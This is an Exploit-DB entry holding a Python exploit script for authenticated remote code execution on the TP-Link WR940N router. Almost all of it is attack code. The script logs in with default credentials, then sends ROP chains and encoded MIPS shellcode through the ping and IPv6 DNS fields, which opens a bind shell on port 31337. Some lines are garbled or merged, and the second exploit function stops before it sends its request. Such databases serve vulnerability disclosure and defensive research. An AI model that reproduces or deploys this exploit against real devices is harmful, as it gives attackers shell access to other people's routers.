Exploit-DB #43022
Description: TP-Link WR940N - (Authenticated) Remote Code
Type: webapps
Platform: hardware
Date: 2017-10-17
Author: Fidus InfoSecurity

Exploit:
import urllib2
import base64
import hashlib
from optparse import *
import sys
import urllibbanner = (
"___________________________________________________________________________\n"
"WR940N Authenticated Remote Code Exploit\n"
"This exploit will open a bind shell on the remote target\n"
"The port is 31337, you can change that in the code if you wish\n"
"This exploit requires authentication, if you know the creds, then\n"
"use the -u -p options, otherwise default is admin:admin\n"
"___________________________________________________________________________"
)

def login(ip, user, pwd):
    print "[+] Attempting to login to http://%s %s:%s"%(ip,user,pwd)
    
    #### Generate the auth cookie of the form b64enc('admin:' + md5('admin'))
    hash = hashlib.md5()
    hash.update(pwd)
    auth_string = "%s:%s" %(user, hash.hexdigest())
    encoded_string = base64.b64encode(auth_string)
    print "[+] Encoded authorisation: %s" %encoded_string
    
    #### Send the request
    url = "http://" + ip + "/userRpm/LoginRpm.htm?Save=Save"
    print "[+] sending login to " + url
    req = urllib2.Request(url)
    req.add_header('Cookie', 'Authorization=Basic %s' %encoded_string)
    resp = urllib2.urlopen(req)
    
    #### The server generates a random path for further requests, grab that here
    data = resp.read()
    next_url = "http://%s/%s/userRpm/" %(ip, data.split("/")[3])
    print "[+] Got random path for next stage, url is now %s" %next_url
    
    return (next_url, encoded_string)

#custom bind shell shellcode with very simple xor encoder
#followed by a sleep syscall to flush cash before running
#bad chars = 0x20, 0x00
shellcode = (
#encoder
"\x22\x51\x44\x44\x3c\x11\x99\x99\x36\x31\x99\x99"
"\x27\xb2\x05\x4b" #0x27b2059f for first_exploit
"\x22\x52\xfc\xa0\x8e\x4a\xfe\xf9"
"\x02\x2a\x18\x26\xae\x43\xfe\xf9\x8e\x4a\xff\x41"
"\x02\x2a\x18\x26\xae\x43\xff\x41\x8e\x4a\xff\x5d"
"\x02\x2a\x18\x26\xae\x43\xff\x5d\x8e\x4a\xff\x71"
"\x02\x2a\x18\x26\xae\x43\xff\x71\x8e\x4a\xff\x8d"
"\x02\x2a\x18\x26\xae\x43\xff\x8d\x8e\x4a\xff\x99"
"\x02\x2a\x18\x26\xae\x43\xff\x99\x8e\x4a\xff\xa5"
"\x02\x2a\x18\x26\xae\x43\xff\xa5\x8e\x4a\xff\xad"
"\x02\x2a\x18\x26\xae\x43\xff\xad\x8e\x4a\xff\xb9"
"\x02\x2a\x18\x26\xae\x43\xff\xb9\x8e\x4a\xff\xc1"
"\x02\x2a\x18\x26\xae\x43\xff\xc1"

#sleep
"\x24\x12\xff\xff\x24\x02\x10\x46\x24\x0f\x03\x08"
"\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa"
"\x27\xa4\xfb\xfa\x01\x01\x01\x0c\x21\x8c\x11\x5c"

################ encoded shellcode ###############
"\x27\xbd\xff\xe0\x24\x0e\xff\xfd\x98\x59\xb9\xbe\x01\xc0\x28\x27\x28\x06"
"\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\x23\x39\x44\x44\x30\x50\xff\xff"
"\x24\x0e\xff\xef\x01\xc0\x70\x27\x24\x0d"
"\x7a\x69"            #<————————- PORT 0x7a69 (31337)
"\x24\x0f\xfd\xff\x01\xe0\x78\x27\x01\xcf\x78\x04\x01\xaf\x68\x25\xaf\xad"
"\xff\xe0\xaf\xa0\xff\xe4\xaf\xa0\xff\xe8\xaf\xa0\xff\xec\x9b\x89\xb9\xbc"
"\x24\x0e\xff\xef\x01\xc0\x30\x27\x23\xa5\xff\xe0\x24\x02\x10\x49\x01\x01"
"\x01\x0c\x24\x0f\x73\x50"
"\x9b\x89\xb9\xbc\x24\x05\x01\x01\x24\x02\x10\x4e\x01\x01\x01\x0c\x24\x0f"
"\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02\x10\x48"
"\x01\x01\x01\x0c\x24\x0f\x73\x50\x30\x50\xff\xff\x9b\x89\xb9\xbc\x24\x0f"
"\xff\xfd\x01\xe0\x28\x27\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f\x73\x50"
"\x9b\x89\xb9\xbc\x28\x05\x01\x01\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f"
"\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\xbd\x9b\x96\x46\x01\x01\x01\x0c"
"\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce"
"\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8"
"\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c\x24\x02"
"\x10\x46\x24\x0f\x03\x68\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa"
"\x27\xa4\xfb\xfe\x01\x01\x01\x0c\x21\x8c\x11\x5c"
)

###### useful gadgets #######
nop = "\x22\x51\x44\x44"
gadg_1 = "\x2A\xB3\x7C\x60"
gadg_2 = "\x2A\xB1\x78\x40"
sleep_addr = "\x2a\xb3\x50\x90"
stack_gadg = "\x2A\xAF\x84\xC0"
call_code = "\x2A\xB2\xDC\xF0"

def first_exploit(url, auth):
    #                      trash $s1        $ra
    rop = "A"*164 + gadg_2  + gadg_1 + "B"*0x20 + sleep_addr + "C"*4
    rop += "C"*0x1c + call_code + "D"*4 + stack_gadg + nop*0x20 + shellcode
    
    params = {'ping_addr': rop, 'doType': 'ping', 'isNew': 'new', 'sendNum': '20', 'pSize': '64', 'overTime': '800', 'trHops': '20'}
    
    new_url = url + "PingIframeRpm.htm?" + urllib.urlencode(params)
    
    print "[+] sending exploit..."
    print "[+] Wait a couple of seconds before connecting"
    print "[+] When you are finished do http -r to reset the http service"
    
    req = urllib2.Request(new_url)
    req.add_header('Cookie', 'Authorization=Basic %s' %auth)
    req.add_header('Referer', url + "DiagnosticRpm.htm")
    
    resp = urllib2.urlopen(req)

def second_exploit(url, auth):
    url = url + "WanStaticIpV6CfgRpm.htm?"
    #                 trash      s0      s1      s2       s3     s4      ret     shellcode
    payload = "A"*111 + "B"*4 + gadg_2 + "D"*4 + "E"*4 + "F"*4 + gadg_1 + "a"*0x1c
    payload += "A"*4 + sleep_addr + "C"*0x20 + call_code + "E"*4
    payload += stack_gadg + "A"*4 +  nop*10 + shellcode + "B"*7
    print len(payload)
    
    params = {'ipv6Enable': 'on', 'wantype': '2', 'ipType': '2', 'mtu': '1480', 'dnsType': '1',
    'dnsserver2': payload, 'ipAssignType': '0', 'ipStart': '1000',
    'ipEnd': '2000', 'time': '86400', 'ipPrefixType': '0', 'staticPrefix': 'AAAA',
    'staticPrefixLength': '64', 'Save': 'Save', 'RenewIp': '1'}
    
    new_url = url + urllib.urlencode(params)
    
    print "[+] sending exploit…"
    print "[+] Wait a couple of seconds before connecting"
    print "[+] When you are finished do http -r to reset the http service"
    
    req = urllib2.Request(new_url)
    req.add_header('Cookie', 'Authorization=Basic %s' %auth)